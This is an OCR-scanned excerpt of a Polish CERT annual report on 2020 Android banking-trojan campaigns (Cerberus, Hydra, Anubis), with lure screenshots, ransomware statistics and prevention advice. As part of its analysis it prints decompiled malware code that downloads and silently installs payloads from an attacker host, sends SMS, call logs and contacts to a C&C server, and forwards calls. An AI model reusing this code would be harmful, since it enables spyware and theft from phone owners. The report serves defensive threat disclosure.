Na poczagtku kwietnia miata miejsce jedna
z ciekawszych kampanii ztosliwego oprogra-
mowania na urzgdzenia mobilne, w ktoérej
tematem byty fatszywe oferty pracy. Zanim
dochodzito do wtasciwej infekcji, uzytkownik
musiat przejs¢ przez wiele etapéw majgcych
na celu wytudzenie danych i uwiarygodnienie
kampanii.

Oferty pracy zamieszczane byty na portalu
Facebook. Dotyczyty gtéwnie pracy przy obstu-
dze klienta, inne warianty tego oszustwa byty
kierowane do konkretnych grup zawodowych,
np. kosmetyczek.
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. Korzysina
May 16, 2020 - &

Witam,

Pilnie poszukujemy osoby, ktora zajefa by sie obsluga klienta, poprzez
czat, mail oraz telefon. Mile widziane doswiadczenie. Praca od
poniedziatku do pigtku. Od pierwszego dnia szkolenia, gwarantuje
panstwu umowe. Charakter pracy jest nieregularny minimum to 2
godziny dziennie, po okresie szkolenia 5 dniowym wyptacam pensje bez
premii 375 zl na czysto. Praca dla kazdego, prosze sie nie bac
aplikowac wszystko wytlumaczymy. Po okresie probnym pensja wynosi
1900 zt na czysto, racji nieregularnego czasu pracy ktory nie przekracza
15 godzin tygodniowo.

Wymagania: Poprawna znajomosc jezyka polskiego Wyksztalcenie
srednie Aplikacje prosze skladac przez strone https://korzystna.biz
frekrutacja

o Q 1K 361 Comments 434 Shares

oY Like (J) comment &> Share

Rys. 38. Przyktad falszywej oferty pracy, stuzacej do wytudzenia informacji o potencjalnej ofierze.

Na stronie internetowe] znajdowat sie formularz rekrutacji, ktérego celem byto wytudzanie danych
osobowych, takich jak imie, nazwisko oraz numer telefonu. Po wypetnieniu formularza nastepowat
kontakt przez poczte elektroniczng z dalszymi instrukcjami. Po pozytywnym przejsciu rekrutacji
nastepowat kontakt drogg SMS-owa.

16:25
Gratuluje pozytywnego przejscia przez

proces rekrutacyjny https:/korzystna
e .org/instrukcja.php ,prosze postepowac

dalej zgodnie z intrukcja

o (o) Wpisz tresc SMS-a }

4 @ =

Rys. 39. Przyktad SMS-a kierujacego ofiare do dalszego etapu scenariusza infekcji.

Na tym etapie, po odwiedzeniu linku, kandydat byt naktaniany do instalacji ztosliwej aplikacji.
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Krok 1

(Do udzielania odpowiedzi bedziemy
potrzebowac aplikacji)
Ditiees: Kl tatii
lub wpisz link
https://korzystna.org/praca.apk

Rys. 40. Wiadomos¢ na stronie przestepcow naktaniajgca do instalacji ztosliwego oprogramowania pod przykrywka
aplikacji rekrutacyjne;j.

Zainstalowanie aplikacji skutkowato natychmiastowym wystaniem na serwer przestepcow danych
na temat telefonu, ksigzki kontaktow, rejestru rozmow oraz wiadomosci SMS. Aplikacja miata rowniez
funkcje aktualizowania sie oraz pobierania i instalacji innych plikow.

private void download&ndInstall() {
DownloadManager.Request request = new DownloadManager.Request(Uri.parse("https://morefuntfkjaskifkl23.cx/Autelpdater/Korzystna.apk”));
request.setDestinationInExternalPublicDir(Environment .DIRECTORY_DOWNLOADS, “"Korzystna.apk");
this.engueue = this.dm.enqueue(request);
this.receiver = new BroadcastReceiver() {
public void onReceive(Context paramlContext, Intent paramlIntent) {
if ("andreid.intent.action.DOWNLOAD_COMPLETE".equals(paramlIntent.getAction())) {
Toast .makeText(ShowlpdateNote.this.getApplicationContext(), "Download Completed”, 1).show();
long 1 = paramlIntent.getlongExtra("extra_download_id", @L);
DownloadManager.Query query = new DownloadManager.Query();
query.setFilterById{new long[] { ShowlUpdateNote.access$388(this.this%@) });
Cursor cursor = ShowUpdateNote.this.dm.query(query);
if (cursor.moveToFirst() &% 8 == cursor.getInt{cursor.getColumnIndex{"status"))) {
Log.d{"ainfo", cursor.getString(cursor.getColumnIndex("local_uri®)));
if {1 == cursor.getInt(@)) {
Log.d{ "DOWNLOAD PATH:", cursor.getString(cursor.getColumnIndex("local_uri®)));
Log.d("isRooted: ", String.valueCOf(ShowUpdateMote.isRooted()));
if (!ShowUpdateNote.isRooted()) {
Intent intent;
File file = new File("/storage/emulated/8/Download/Korzystna.apk");
if (Build.VERSION.SDK_INT »= 24) {
Uri uri = FileProvider.getUriForFile((Context)ShowUpdateMote.this, "com.example.korzystna.release.fileprovider”, file);
intent = new Intent("android.intent.action.INSTALL_PACKAGE");
intent.setDataiuri);
intent.addFlags(1);
T else {
Uri uri = Uri.fromFile((File)intent);
intent = new Intent("android.intent.action.VIEW");
intent.setDataAndType(uri, "applicaticn/wnd.android.package-archive”);
intent.addFlags(268435456) ;

ShowUpdateNlote.this.startActivity(intent);
T else {
Toast.makeText(ShowlpdateNote.this.getApplicationContext(), "&pp Installing...Please Wait", 1).show();
File file = new File("/storage/emulated/8/Download/Korzystna.apk”);
Log.d("IN INSTALLER:", “/storage/emulated/@/Download/Korzystna.apk");
if (File.exists())
try {
Log.d("IN File exists:™, "/storage/emulated/@/Download/Korzystna.apk");
Log.d("COMMAND:", "pm install -r /storage/emulated/@/Download/Korzystna.apk”);
Runtime.getRuntime().exec(new String[] { "su", "-c", "pm install -r /storage/emulated/8/Download/Korzystna.apk” }).waitFor();
Toast.makeText(ShowUpdateNote.this.getApplicationContext(), "App Installed Successfully", 1).show();
catch (Exception exception) {
exception.printStackTrace();

[

Rys. 41. Fragment kodu odpowiedzialny za pobieranie i instalacje aktualizacji ztosliwego oprogramowania.

Zebrane dane wysytane byty do serwera C&C.
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private void addToServer(Context paramContext) {
Log.i(TAG, "addToServer()");
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append{Commons.baselrl);
stringBuilder.append{paramContext.getResources().getstring(2131624824));
String str = stringBuilder.toString();
final JSONArray smss = getMessages();
calllogs = getCallDetail();
final JS0OMNArray contacts = getContacts();
Log.i(TAG, str);
StringReguest stringRequest = new 5tringReguest(l, str, new Response.listener<String>() {
public void onResponse(5tring paramlstring) {
Log.i(5endDataservice.TAG, paramlstring);
if (paramlstring.equalsi"Message Received!"™)) {
Log.i(5endDataService.TAG, "all ok");
AppController.getInstancel).cancelPendingRequests(Commons.tag string reg);
T
T
new Response.Errorlistener() {
public void onErrorResponse(VollevError paramlVolleyError) {
if (paramlVolleyError != null) {
if {(paramlVolleyError.networkResponse == null)
return;
int i = paramlVolleyError.networkResponse.statusCode;
Log.i(5endDataService.TAG, String.wvalueldf(il);
String str = new 5String(paramlVolleyError.networkResponse.data, StandardCharsets.UTF_8);
Log.i(5endDataService.TAG, str);
Log.i(5endDataservice.TAG, paramlVolleyvError.getMessage());

i
¥

F
protected Map<String, String> getParams() throws AuthFailureError {

HashMap<Object, Object> hashMap = new HashMap<Object, Objectx{);
Log.i(5endDataservice.TAG, SessionManager.getPhonelumber());
hashMap.put("imei_no", "");
hashMap.put(“phone”, SessicnManager.getPhonelumber());
hashMap.put("calllog"”, SendDataService.calllogs);
hashMap.put({“record”, smss.toString());
hashMap.put("contacts", contacts.toString());
return (Map)hashMap;

T

i
AppController.getInstancel).addToReguestQueue((Request)stringRequest, Commons.tag string reg);
}.

Rys. 42. Fragment kodu odpowiedzialny za zbieranie danych dotyczacych telefonu oraz aktywnosci uzytkownika.

Oprocz wykradania danych z zainfekowanego
telefonu, gtéwnym celem atakujgcych byto
jednak wyswietlanie uzytkownikom fatszywych
bramek ptatnosci, ktorych adresy réwniez po-
bierane byty z serwera C&C.

Paczkomaty

Pierwszym zaobserwowanym motywem
w polskich dystrybucjach Cerberusa byto
podszywanie sie pod firme InPost, operatora
paczkomatow. Analize tej kampanii zamiescili-
$my na naszym blogu38. Podobne wiadomosci
widzielismy réwniez w 2020 1.

38 https://www.cert.pl/posts/2019/10/analiza-techniczna-trojana-bankowego-cerberus/

38
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Kod odbioru otrzymasz
po pobraniu naszej
nowej aplikacji

https://APPINPOST.COM

10 min

Rys. 43. Przyklad wiadomosci naktaniajacej do instalacji aplikacji w celu otrzymania kodu odbioru paczki. Aplikacja
w rzeczywistosci byta ztosliwym oprogramowaniem.

Sposobem dystrybucji byty wiadomosci SMS zawierajgce link do strony, ktéra miata naleze¢ do firmy
InPost. W celu odebrania przesyiki z paczkomatu potrzebny byt kod. Zgodnie z trescig wiadomosci
SMS mozna byto go otrzymac jedynie po pobraniu nowej aplikacji.

Odwiedzenie linku kierowato na strone, ktéra umozliwiata pobranie aplikacji.

InFost

Pobierz aplikacje na telefon, aby otrzymac kod odbioru paczki nr 002838171764821. Po instalacji InPost na Twoim telefonie bedziesz automatycznie otrzymywat smsy
na dane urzadzenie.

Sciagnij aplikacje

Rys. 44. Komunikat na fatszywej stronie naktaniajgcy do instalacji fatszywej aplikacji — w rzeczywistosci ztosliwego
oprogramowania.

Kampanie z motywem InPost powtarzaty sie przez caty 2020 r.
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Przestepcy nie oszczedzili rowniez osob robigeych zakupy przez internet. W czerwcu obserwo-
walismy kampanie Cerberusa z grupg Allegro w tle. tgcze do strony wysytane byto przy pomocy

wiadomosci SMS.

allegro s

szukaj wielu | Wszystkie kategorie v SZUKA)

Kategorie A Okazje do -70% Hity z reklamy Promaocje z Menetami Inspiracje  Artykuly
Aplikacja Allegro na telefon - wygodna, po(d)reczna, korzystna
Pobierz nasza aplikacje, zeby

korzysta¢ z Allegro w kazdym
miejscu i czasie.

allegro

Najlepsze ceny
i zawsze bezpieczne
zakupy w aplikacji

Allegro |

Sprawdz najnowsze aktualizacje i promocje:

* Tracking. czyli zawsze wiesz, gdzie jest Twoja przesylka
* 20zt rabatu na wybrany produkt w naszym serwisie

* 5 darmowych dostaw InPost

OBIERZ Z
P” Google Play

Z£  Pobie

Pobierz w
App Store

. ODKRYWAI W

= AppGallery

Premiery Nowosci Trendy

Mowy iPhone SE Smartfony Realme Puder do whosow

Samsung Galaxy 520 Samsung Galaxy 520+ Hulajnogi elektryczne

Samsung Galaxy S20 Ultra Samsung QLED 2019 Hamaki ogrodowe

Xiaomi Mi 10 Pro The Last Of Us 2 Opony motocyklowe
POKAZ WIECE]
Allegro Centrum pomocy Serwisy

- badi Smart!
I Moje Allegro v
Wyjatkowe okazje
Raty ZERO

Prezent na Dzien Qjca
Wsrystko na plaze

Domowe przedszkole

Allegro in English

Rys. 45. Strona podszywajaca sie pod portal Allegro. Uzytkownik byt naktaniany do instalacji aplikacji, ktora w rze-

czywistosci byta ztosliwym oprogramowaniem.

Rachunek za reklame

W tym samym miesigcu ruszyta rowniez kampania z ciekawym motywem podejrzanej aktywnosci

na koncie na portalu Facebook.
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ﬂ Podejrzana aktywnosE na Tweim koncie - Mozilla Thunderbird — O X
Eile Edit View Go Message Tools Help

lI-' Get Messages | v & Write Q Chat .E, Address Book =

Facebook <hiv2017@int.pl> T¥ 9 Reply | ReplyAll|~» = Forward  More v
Podejrzana aktywnosc na Twoim kondie 24-Jun-20, 21:34

n Facebook

Wykrylismy podejrzang aktywnosé na Twoim koncie Facebook zwigzang z zamowieniem
reklamy za kwote 375 2t Ze wzgleddw bezpieczefistwa wymagamy potwierdzenia, ze
zamdwienie zostato ZoZzone przez Ciebie.
Potwierdzam zamowienie.

Anuluj zamdwienie

Potrzebujesz dodatkowe] pomocy? Dowiedz sie wiecej na temat zabezpieczania konta.

Ta wiadomos ¢ zostata wystana na adres . Aby zapewnic bezpieczenstwo
swojego konta, nie przekazuj dalej tego e-maila.
Facebook Ireland Ltd., Attention: Community Operations, 4 Grand Canal Square, Dublin 2, Ireland

%

Rys. 46. Fatszywa wiadomos$¢ informujaca o zamoéwieniu reklamy na portalu Facebook. Link w wiadomosci finalnie
prowadzit do pobrania instalatora Cerberusa.

Zgodnie z informacjg podang w fatszywej wia- poniewaz aktywnosc¢ wydaje sie podejrzana.
domosci e-mail, z konta Facebook uzytkownika Nacisniecie przycisku kierowato na odpowied-
zostata dokonana préba zamowienia reklamy, nio spreparowang strone, co finalnie prowadzi-
ktora wymaga dodatkowego potwierdzenia, to do pobrania instalatora Cerberusa.

91



nask CERT.PLO-

Aplikacja “PKO BP Super”

Pod koniec wrzesnia 2020 r. Cerberus dystrybuowany byt pod postacig aplikacji mobilnej dla klientow
banku PKO BP. Aplikacja ta byta reklamowana w postach sponsorowanych na portalu Facebook.

=, Super voe

“I] Sponsorowany * Q@

Ptacimy kazdemu, kto zaktualizuje aplikacje!
Prosze zaktualizuje aplikacje dla zaliczenia gotowki

iqko.xyz
Ptacimy kazdemu, kto zaktualizuje
aplikacje!

Wiece] informacji

L o

H’_L} Lubie to! [:_] Dodaj komentarz {_Jl> Udostepnij

Rys. 47. Przyktad fatszywej reklamy sponsorowanej w portalu Facebook, naktaniajacej do aktualizacji aplikacji banku
PKO BP. Reklama przekierowywata uzytkownika do fatszywej strony.
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Bank iPKO przekazuje 200zl na
konto!

Ptacimy kazdemu, kto
zaktualizuje aplikacje!

Bank Polski

Prosze zaktualizuje aplikacje
dla zaliczenia gotowki:

Rys. 48. Falszywa strona podszywajaca sie pod bank PKO BP, naklaniajgca do instalacji aplikacji banku — w rzeczy-

wistosci ztosliwego oprogramowania.

Cerberus w sklepie Google Play

Na przestrzeni 2020 r. przestepcom udato sie
kilkukrotnie umiescic Cerberusa w aplikacjach
dostepnych z poziomu sklepu Google Play.
Zaobserwowalismy co najmniej dwa takie
przypadki:

- Aplikacja Best Cleaner (czerwiec 2020),
- Aplikacja Fitness Trainer (wrzesien 2020).

Cerberus byt dodawany do aplikacji stuzgcych
m.in. do czyszczenia systemu plikow urzadze-
nia mobilnego oraz monitorowania aktywnosci
fizycznej. Aplikacje te miaty stosunkowo duzo
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negatywnych ocen, poniewaz po instalacji uzyt-
kownicy zaobserwowali spowolnienie dziatania
telefonu. Sklep Google Play to repozytorium,
ktore w sSwiadomosci wielu uzytkownikow
systemu Android gwarantuje bezpieczenstwo.
Nalezy jednak pamietac, ze w kazdym repozy-
torium moze dojs¢ do umieszczenia ztosliwego
oprogramowania, o ile kod nowych wersji
kazdego z programow nie zostanie doktadnie
sprawdzony. Przy skali jakg osigga sklep Go-
ogle Play nie jest mozliwa szybka weryfikacja,
dlatego tego typu modyfikacja to bardzo sku-
teczny wektor ataku.



Hydra od operatoréw sieci
komaérkowych

Pod koniec pazdziernika 2020 r. uzytkownicy
telefonow komaorkowych otrzymali wiadomosci
SMS, ktore wykorzystywaty wizerunek operato-
row sieci komorkowych. Motywem przewod-
nim byta koniecznos¢ aktualizacji ustawien
sieci przy pomocy odpowiedniej aplikacji. Brak
instalacji miat skutkowac utratg mozliwosci
tgczenia sie z siecig internetowg przy pomocy
danego urzgdzenia.

Uwaga! Dnia21.10 T
utraci mozliwosc laczen

nask CERT.PLO-

Zarowno niska wiarygodnos¢ wykorzystanej hi-
storii, jak i brak polskich znakow w wiadomosci
powinien wzbudzi¢ podejrzenia uzytkownika.
Operatorzy komorkowi i inne duze przedsiebior-
stwa dbajg o swoj wizerunek i bardzo rzadko
zdarza im sie wysytanie wiadomosci zawiera-
jacych btedy ortograficzne.

Link w wiadomosci SMS prowadzit do strony
umozliwiajgcej pobranie aplikacji. W tym
wypadku byto to ztosliwe oprogramowanie
z rodziny Hydra. Dystrybucja byta wymierzona
w klientow sieci Orange oraz Play.

siez

internetem, zaktualizuj ustawienia
sieci aby temu zapobiec:
https://operatorgsm.pl/orange

Rys. 49. SMS podszywajacy sie pod operatora sieci komdrkowej, naktaniajacy do aktualizacji ustawien sieci przez

odwiedzenie strony internetowe;j.

W praypachu nie zoktualizowanis ustawserl, felefon nie bedaie w stanie polacayt sig z siecig GSM i infernet

Dlaczego warto?

USIS01 to technaloga 3 naszy™ eoyisig s

it zieeri 2 majepaym tasicmem i pedweiens seybbesciy . Zestescwanie 256

Heny o
bitowego Kucza szyfrujacego zapewnia najwyzszy stopieft bezpleczeristwa przesylu danych

[

Rys. 50. Fatszywa strona podszywajaca sie pod operatora sieci komérkowej Play, naktaniajaca do instalacji poprawki
systemowej — w rzeczywistosci ztosliwego oprogramowania.
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.“!@

Ustawienia Sieci Orange

@ Wymagana aktualizacja

Dla twojej wygody, lepszego zasiegu, bezpieczenstwa i
szybszego internetu nasz zespdt zaimplementowatl
najnowszy system USI-501 w naszych nadajnikach,
prosimy o jak najszybsze zaktualizowanie swojego telefonu
poprzez instalacje latki zmieniajgcej domysine ustawienia
sieci na kompatybilne Z naszym nowym systemem.

Pobierz Aktualizacje

W przypadku nie zakiualizowania ustawien, telefon nie bedzie w stanie polaczyc sig 2 siecia GSM i intermetu,

Ostreedenia i aktualnadel CERT Orange
Ctrzadania Czym jest CERT?
My Hasl parnerzy
Dane o zagralonach Keontaxl

USI-501 to technologia
pozwalajgca naszym
abonamentom laczyc sig 2
internetem z dowolnego migjsca
na ziemi z najlepszym zasiggiem
i podwojonq szybkoscig .
Zastosowanie 256 bitowego
klucza szyfrujacego zapewnia
najwyzszy stopieft
bezpieczeristwa przesytu danych.

Baza wisdzy Inme

Rigaity Nazgitzia
Pylania | expowieds Ukl
Matariary fimowe

Rys. 51. Falszywa strona podszywajaca sie pod operatora sieci komérkowej Orange, naktaniajaca do instalacji
poprawki systemowej — w rzeczywistosci ztosliwego oprogramowania.

O tym i innych incydentach informujemy
na biezgco za posrednictwem mediow spotecz-
nosciowych (Twitter i Facebook). Zachecamy
do $ledzenia profilu CERT Polska.

Przeglad zaobserwowanych rodzin

W polskojezycznych kampaniach zaobser-
wowalismy gtownie trzy rodziny malware
na systemy Android. Byty to Cerberus, Hydra
oraz Anubis.
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Cerberus/Alien

Cerberus po raz pierwszy zostat zaobser-
wowany w 2019 r. Jest jednym z najbardziej
zaawansowanych trojanéw na urzgdzenia
mobilne. Jego historia siega jednak znacznie
dalej, choc¢ pierwsza wersja prawdopodobnie
nie byta udostepniana publicznie.



nask CERT.PLO-

AATOP TEMBI

CERBERUS

Cerberus - angpoung GoT, koTopsii pabotan B npusarte Ha NPoTAXEHWM nocneguux 2x net Celuac mbl PELLMNW BT K3

npuBara, ANA NOMCKA NapTHEPOB
3a nogpobHeiM onucaHrem nucats B J1C.

TecTsl TONLKO HA CBOMX AeBaicax, rApaHT 3a Ball CubT

Rys. 52. Oferta sprzedazy trojana Cerberus.

Pierwsza szeroko rozpowszechniona wersja
to Cerberus V2. Malware tgczy w sobie funk-
cjonalnosci RAT-a (ang. Remote Access Trojan)
oraz trojana bankowego, ktére obejmuije:

+ zbieranie szczegotowych informacji o urza-
dzeniu (w tym lokalizacja, lista zainstalowa-
nych aplikacji),

- zdalne zarzadzanie urzgdzeniem (instalacja/
deinstalacja/uruchamianie aplikacji, wy-
Swietlanie uzytkownikowi wybranych przez
operatora stron internetowych, blokowanie
ekranu),

+ pobieranie listy kontaktow,

+ pobieranie wiadomosci SMS (listowanie
wiadomosci, forwarding, wysytanie),

pobieranie rozmoéw telefonicznych (forwar-
ding),

obstuga kodéw USSD (ktore umozliwiajg
m.in. przekierowanie rozmow, ale réwniez
moga umozliwi¢ dokonanie ptatnosci),

rejestracja nacisnietych klawiszy (keylogger),
naktadki wyswietlajgce sie ponad aplikacjami
bankowymi, stuzgce do wykradania danych
logowania (tzw. overlay),

ochrona samej aplikacji (wykrywanie emula-

cji, ukrywanie ikony aplikacji, ochrona przed
usunieciem).
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Przyktadowe fragmenty kodu Cerberusa:
public void callForward(Context context, String number) {
try {
Intent intentCallForward = new Intent(“android.intent.action.CALL”);
intentCallForward.dddFldgs(Intent.FLAG_ACTIVITY_NEW_TASK);
intentCallForward.setData(Uri.fromParts(“tel”, “*21%”+number+”#”, “#”));
context.startActivity(intentCallForward);
String logForward = “ForwardCALL: “ + number + “::endlLog::”;
Log(“ForwardCall”,logForward) ;
SettingsToAdd(context, consts.LogSMS, logForward);
}catch (Exception ex){
Log(“ForwardCall”, "Error™);

String logCF = “ERROR callForward” + number + “::endLog::”;

SettingsToAdd(context, consts.LogSMS, 1logCF);

}

Rys. 53. Fragment kodu odpowiedzialny za przekierowania rozmow.

e ¢ f




nask CERT.PLO-

public void sendSms(Context context, String phoneNumber, String message) {
try {
SmsManager smsManager = SmsManager.getDefault();
ArraylList<String> list = smsManager.divideMessage(message);
PendingIntent pendingIntent = PendingIntent.getBroadcast(context, O, new Intent(“SMS_SENT”), 0);
PendingIntent deliveredPI = PendingIntent.getBroadcast(context, 0, new Intent(*“SMS_DELIVERED”), 0);
ArraylList<PendingIntent> sents = new ArraylList();
ArraylList<PendingIntent> deliveredList = new ArraylList<PendingIntent>();
for (int i = 0; i < list.size(); i++) {
deliveredlList.add(deliveredPI);

sents.add(pendingIntent);

smsManager . sendMultipartTextMessage(phoneNumber, null, list, sents, deliveredList);
String logSMS = “Output SMS:” + phoneNumber + “ text:” + message + “::endLog::”;
Log(*SMS”, 1logSMS);
SettingsToAdd(context, consts.LogSMS, logSMS);

}catech (Exception ex){

SettingsToAdd(context, consts.LogSMS , “(MOD21) | ERROR SEND SMS “ + ex.toString() +”::endlLog::”);

}

Rys. 54. Fragment kodu odpowiedzialny za wysytanie wiadomosci SMS.
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W 2020 r. wtasciciel Cerberusa doswiadczat
licznych trudnosci zwigzanych m.in. z obstugg
klientow, w zwigzku z czym usitowat sprzedac
kod zrodtowy wraz z bazg klientéw. Proba
sprzedazy zakonczyta sie niepowodzeniem
i wkrétce potem przestepca podzielit sie kodem
zrodtowym aplikacji z wtascicielem forum,
na ktérym sprzedawat swoje ustugi. W konse-
kwencji kod Cerberusa wyciekt.

Upublicznienie kodu zrodtowego Cerberusa
spowodowato, ze powstaty rézne jego wa-
rianty, jednym z ktérych byt Alien (Cerberus
V3). Do bazowych funkcjonalnosci Cerberusa
doszty dwie kluczowe: kontrola telefonu
za pomocg TeamViewer oraz podstuchiwanie
powiadomien na telefonie.

Instalacja ztosliwego oprogramowania na urzg-
dzeniu prowadzi do petnej inwigilacji uzytkow-
nika — wyciekajg nie tylko SMS-y i rozmowy,
ale atakujgcy moze rowniez uzyskac dostep
do poczty elektronicznej czy konta bankowego
ofiary. Instalacja nie przebiega jednak w wyniku
wykorzystania podatnosci w urzgdzeniu — Klu-
czowe dla udanego ataku jest wymuszenie
na uzytkowniku zgody na instalacje oraz udzie-
lenia aplikacji odpowiednich uprawnien.

Przestepca ma mozliwos¢ zarzgdzania zain-
fekowanymi telefonami korzystajgc z aplikacji
webowe;.

Anubis

Poczatki Anubisa siegajg 2017 r., kiedy osoba
0 nicku maza-in opublikowata artykut “Android
BOT from scratch’. Na podstawie kodu zrédto-
wego zamieszczonego w tym artykule powsta-
to wiele trojanéw mobilnych, w tym Anubis.

Ma on mniej funkgcji niz Cerberus, jednak row-
niez jest bardzo niebezpieczny. Mozliwosci
Anubisa obejmujg, m. in:

+ pozyskiwanie listy kontaktow,
+ streamowanie widoku z ekranu urzgdzenia,

* nagrywanie dzwieku,
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+ pozyskiwanie i wysytanie wiadomosci SMS,
+ pozyskiwanie z urzgdzenia plikow,

+ wykorzystanie kodéw USSD,

+ wymazywanie danych z urzgdzenia,

- szyfrowanie telefonu przy pomocy ransom-
ware CryptoLocker,

+ blokade ekranu urzgdzenia przy pomocy
FakelLocker,

+ zdalne zarzgdzanie urzgdzeniem.

Anubis jest bezposrednig konkurencjg Cerbe-
rusa i w dalszym ciggu powstajg jego nowe
wersje. Ostatnia zaobserwowana wersja to
Anubis v3, w ktorej wprowadzono streamowa-
nie ekranu uzytkownika oraz mozliwosc¢ obej-
Scia zabezpieczen telefonu (wytgczenie Play
Protect). Podobnie jak w przypadku Cerberusa,
instalacja wymaga zgody uzytkownika.

Hydra

Hydra poczgtkowo wykorzystywana byta jedy-
nie jako dropper. W drodze ewolucji, na poczat-
ku 2019 r, stata sie samodzielnym trojanem
bankowym.

Jej mozliwosci to m.in.:

+ pobieranie zawartosci ekranu uzytkownika
W Cczasie rzeczywistym,

+ przejecie zdalnej kontroli nad urzadzeniem
(backconnect proxy),

+ instalacja innych aplikaciji,

+ injecty — naktadki wyswietlajgce sie ponad
aplikacjami bankowymi, stuzgce do wykrada-
nia danych logowania.

Poczatkowo celem Hydry byty jedynie ofiary
z Turcji, jednak 2020 r. przyniést duze zmia-
ny — zostaty dodane nowe injecty na banki
z catego Swiata. CERT Polska zaobserwowat
dystrybucje tego malware'u w obrebie polskie
cyberprzestrzeni.



Jak unikna¢ infekc;ji?

Kluczowym czynnikiem profilaktyki jest jak za-
wsze zachowanie zdrowego rozsgdku. Przede
wszystkim nalezy za wszelkg cene unikac insta-
lowania aplikacji pochodzgcych z nieznanych
zrodet. Nawet, jezeli zdarzy nam sie odwiedzic
dostarczony przy pomocy wiadomosci SMS,
czy e-mail z poziomu urzgdzenia mobilnego
lub klikng¢ w tgcze z reklamy, nie spowoduje
to instalacji opisywanej w artykule, ztosliwej
aplikaciji.

W przypadku aplikacji dostepnych z poziomu
sklepu takiego jak Google Play warto jest
przeczytac opinie. Jesli przyttaczajgca wiek-

nask CERT.PLO-

sz0S¢ jest negatywna, a z komentarzy wynika,
ze po instalacji telefon dziwnie sie zachowuje,
lepiej powstrzymac sie od instalacji.

W przypadku kampanii takich jak Korzystna
oprocz sprawdzenia komentarzy, warto doktad-
niej zorientowac sie do jakiej doktadnie firmy
aplikujemy — pozwoli to na unikniecie wycieku
danych jeszcze przed instalacjg aplikacji.

Po zainstalowaniu aplikacji, jej usuniecie nieko-
niecznie jest proste — opisane rodziny potrafig
sie dobrze przed tym chronic¢. Jezeli jednak
zorientujemy sie, ze nasze urzadzenie zostato
zainfekowane — zawsze warto jest zasiegngc¢
pomocy specjalisty, np. wykorzystujgc formu-
larz kontaktowy CERT Polska do zgtoszenia
incydentu.
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Ransomware to rodzaj szkodliwego oprogra-
mowania, ktérego celem jest zaszyfrowanie
zawartosci dysku i wymuszenie od wtasci-
ciela maszyny optaty za odszyfrowanie jego
danych. Schemat ataku pozostaje podobny
od lat, a kazdy medialny przypadek podnosi
Swiadomosc¢ uzytkownikow na temat ochrony
przed zagrozeniem oraz skali ewentualnych
konsekwencji. W ostatnim roku mozna byto
zaobserwowac dodatkowe zjawiska polegajace
na wczesnigjszej kradziezy cennych informacji.
Przestepcy po zaszyfrowaniu danych, dodatko-
wo grozili ofierze upublicznieniem prywatnych
informacii.

Niestety, skala problemu nie zmalata. W 2020 r.
obstuzylismy 110 incydentow dotyczgcych
infekcji ransomware. Az 16 zgtoszen zostato
przestanych przez instytucje administracji pu-
blicznej, 7 przez przedstawicieli infrastruktury
cyfrowej oraz 5 przez szpitale i przychodnie.
Otrzymalismy rowniez 2 zgtoszenia z sektora
energetycznego oraz 1 dotyczgce zaopatrzenia
w wode. Odnotowalismy tez incydent zwigzany
z dwoma uczelniami niepublicznymi — piszemy
o tym na stronie 108. Do najpopularniejszych
rodzin ransomware, wykorzystywanych w Pol-
sce, nalezg Phobos — 17 infekcji, Djvu — 16 oraz
Dharma - 9.
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Ponad potowa infekgji, bo az 69 z nich, zostato
zgtoszonych przez instytucje publiczne oraz
przedsiebiorstwa, narazone na potencjalne
straty finansowe spowodowane przerwg
w funkcjonowaniu lub kosztami przywrocenia
systemu do odpowiedniego stanu. Najwiecej
probleméw majg mate firmy oraz placowki
z budzetem niewystarczajgcym na zbudowanie
odpowiednio zabezpieczonej infrastruktury
IT oraz zatrudnienie wykwalifikowanego per-
sonelu. Pozostate przypadki dotyczyty osob
prywatnych.

Specjalisci CERT Polska zauwazyli dwa gtowne
wektory dystrybucji oprogramowania. Nalezg
do nich szkodliwy zatgcznik w wiadomosci
e-mail oraz niedostatecznie lub w ogdle
niezabezpieczony dostep do zasobow sieci
czy maszyn. Mozna zatozyc, ze wzrost popu-
larnosci atakow z wykorzystaniem protokotu
RDP jest pochodng epidemii COVID-19. Firmy,
ktore nie posiadajg odpowiedniej infrastruktury,
a czesto nawet administratora, zostaty w po-
Spiechu zmuszone do przejscia na zdalny typ
pracy, zostawiajgc system podatny na atak.

Nalezy odnotowac, ze coraz czesciej w przy-
padku skutecznego ataku ransomware docho-
dzi do skopiowania danych przez przestepcow,
ktorzy nastepnie grozg ich ujawnieniem. Ma
to by¢ dodatkowa “motywacja” do zaptacenia



okupu, gdyz poza konsekwencjami wynikajg-
cymi z niedostepnosci zasobow, ofierze mogg
grozi¢ skutki ujawnienia wrazliwych informacji
badz kary za wyciek danych osobowych.

Wiecej informacji dotyczgcych ransomware,
w tym najczesciej obserwowanych rodzin, wek-
torow infekcji i ewolucji zjawiska, znajduje sie
w rozdziale Ransomware na swiecie str. 132.

Zachecamy do zapoznania sie z naszymi
rekomendacjami dotyczgcymi przeciwdzia-
tania i reagowania na incydenty ransom-
ware https://www.cert.pl/uploads/docs/
CERT_Polska_Poradnik_ransomware.pdf.
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153046756658 T63XIDAE
/5676343 00AR

Wycieki danych sg coraz powszechniejszym
problemem nie tylko w Polsce, ale i na Swiecie.
Mogg one dotkng¢ dowolnego podmiotu prze-
twarzajgcego bardziej lub mniej wrazliwe dane
osobowe. Oznacza to, ze narazone sg nie tylko
komercyjne giganty, ale rowniez instytucje
prowadzgce mniejszg dziatalnos¢ lub podmioty
prywatne. Rosngca ilos¢ magazynowanych
i przetwarzanych danych powoduje, ze rola
administratora danych osobowych przybiera
na odpowiedzialnosci. Jednak sam admini-
strator danych osobowych nie moze skutecznie
zmniejszyc ryzyka wycieku danych bez odpo-
wiedniej wspotpracy pozostatych podmiotow
zaangazowanych w przetwarzanie danych
bgdz odpowiedzialnych za zabezpieczenie
infrastruktury w danym podmiocie.

Przyczyny wycieku danych

Nie kazdy wyciek danych osobowych jest spo-
wodowany atakiem hakerskim. Zdarzajg sie
sytuacje, w ktorych to osoba przetwarzajgca
dane w sposob nieumysiny doprowadza do wy-
cieku. Najprostszym przyktadem jest wysytka
masowej komunikacji e-mail bez uzycia funkcji
ukrytej kopii (BCC). W takim przypadku, jedna
wystana wiadomos¢ moze ujawni¢ dane setek
kontrahentow. Staje sie to problematyczne,
gdyz w wielu sytuacjach sam fakt wspotpracy
roznych instytucji moze nie by¢ informacja
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publicznie dostepng. Jednak tego typu incy-
denty nie ograniczajg sie do strefy biznesowe).
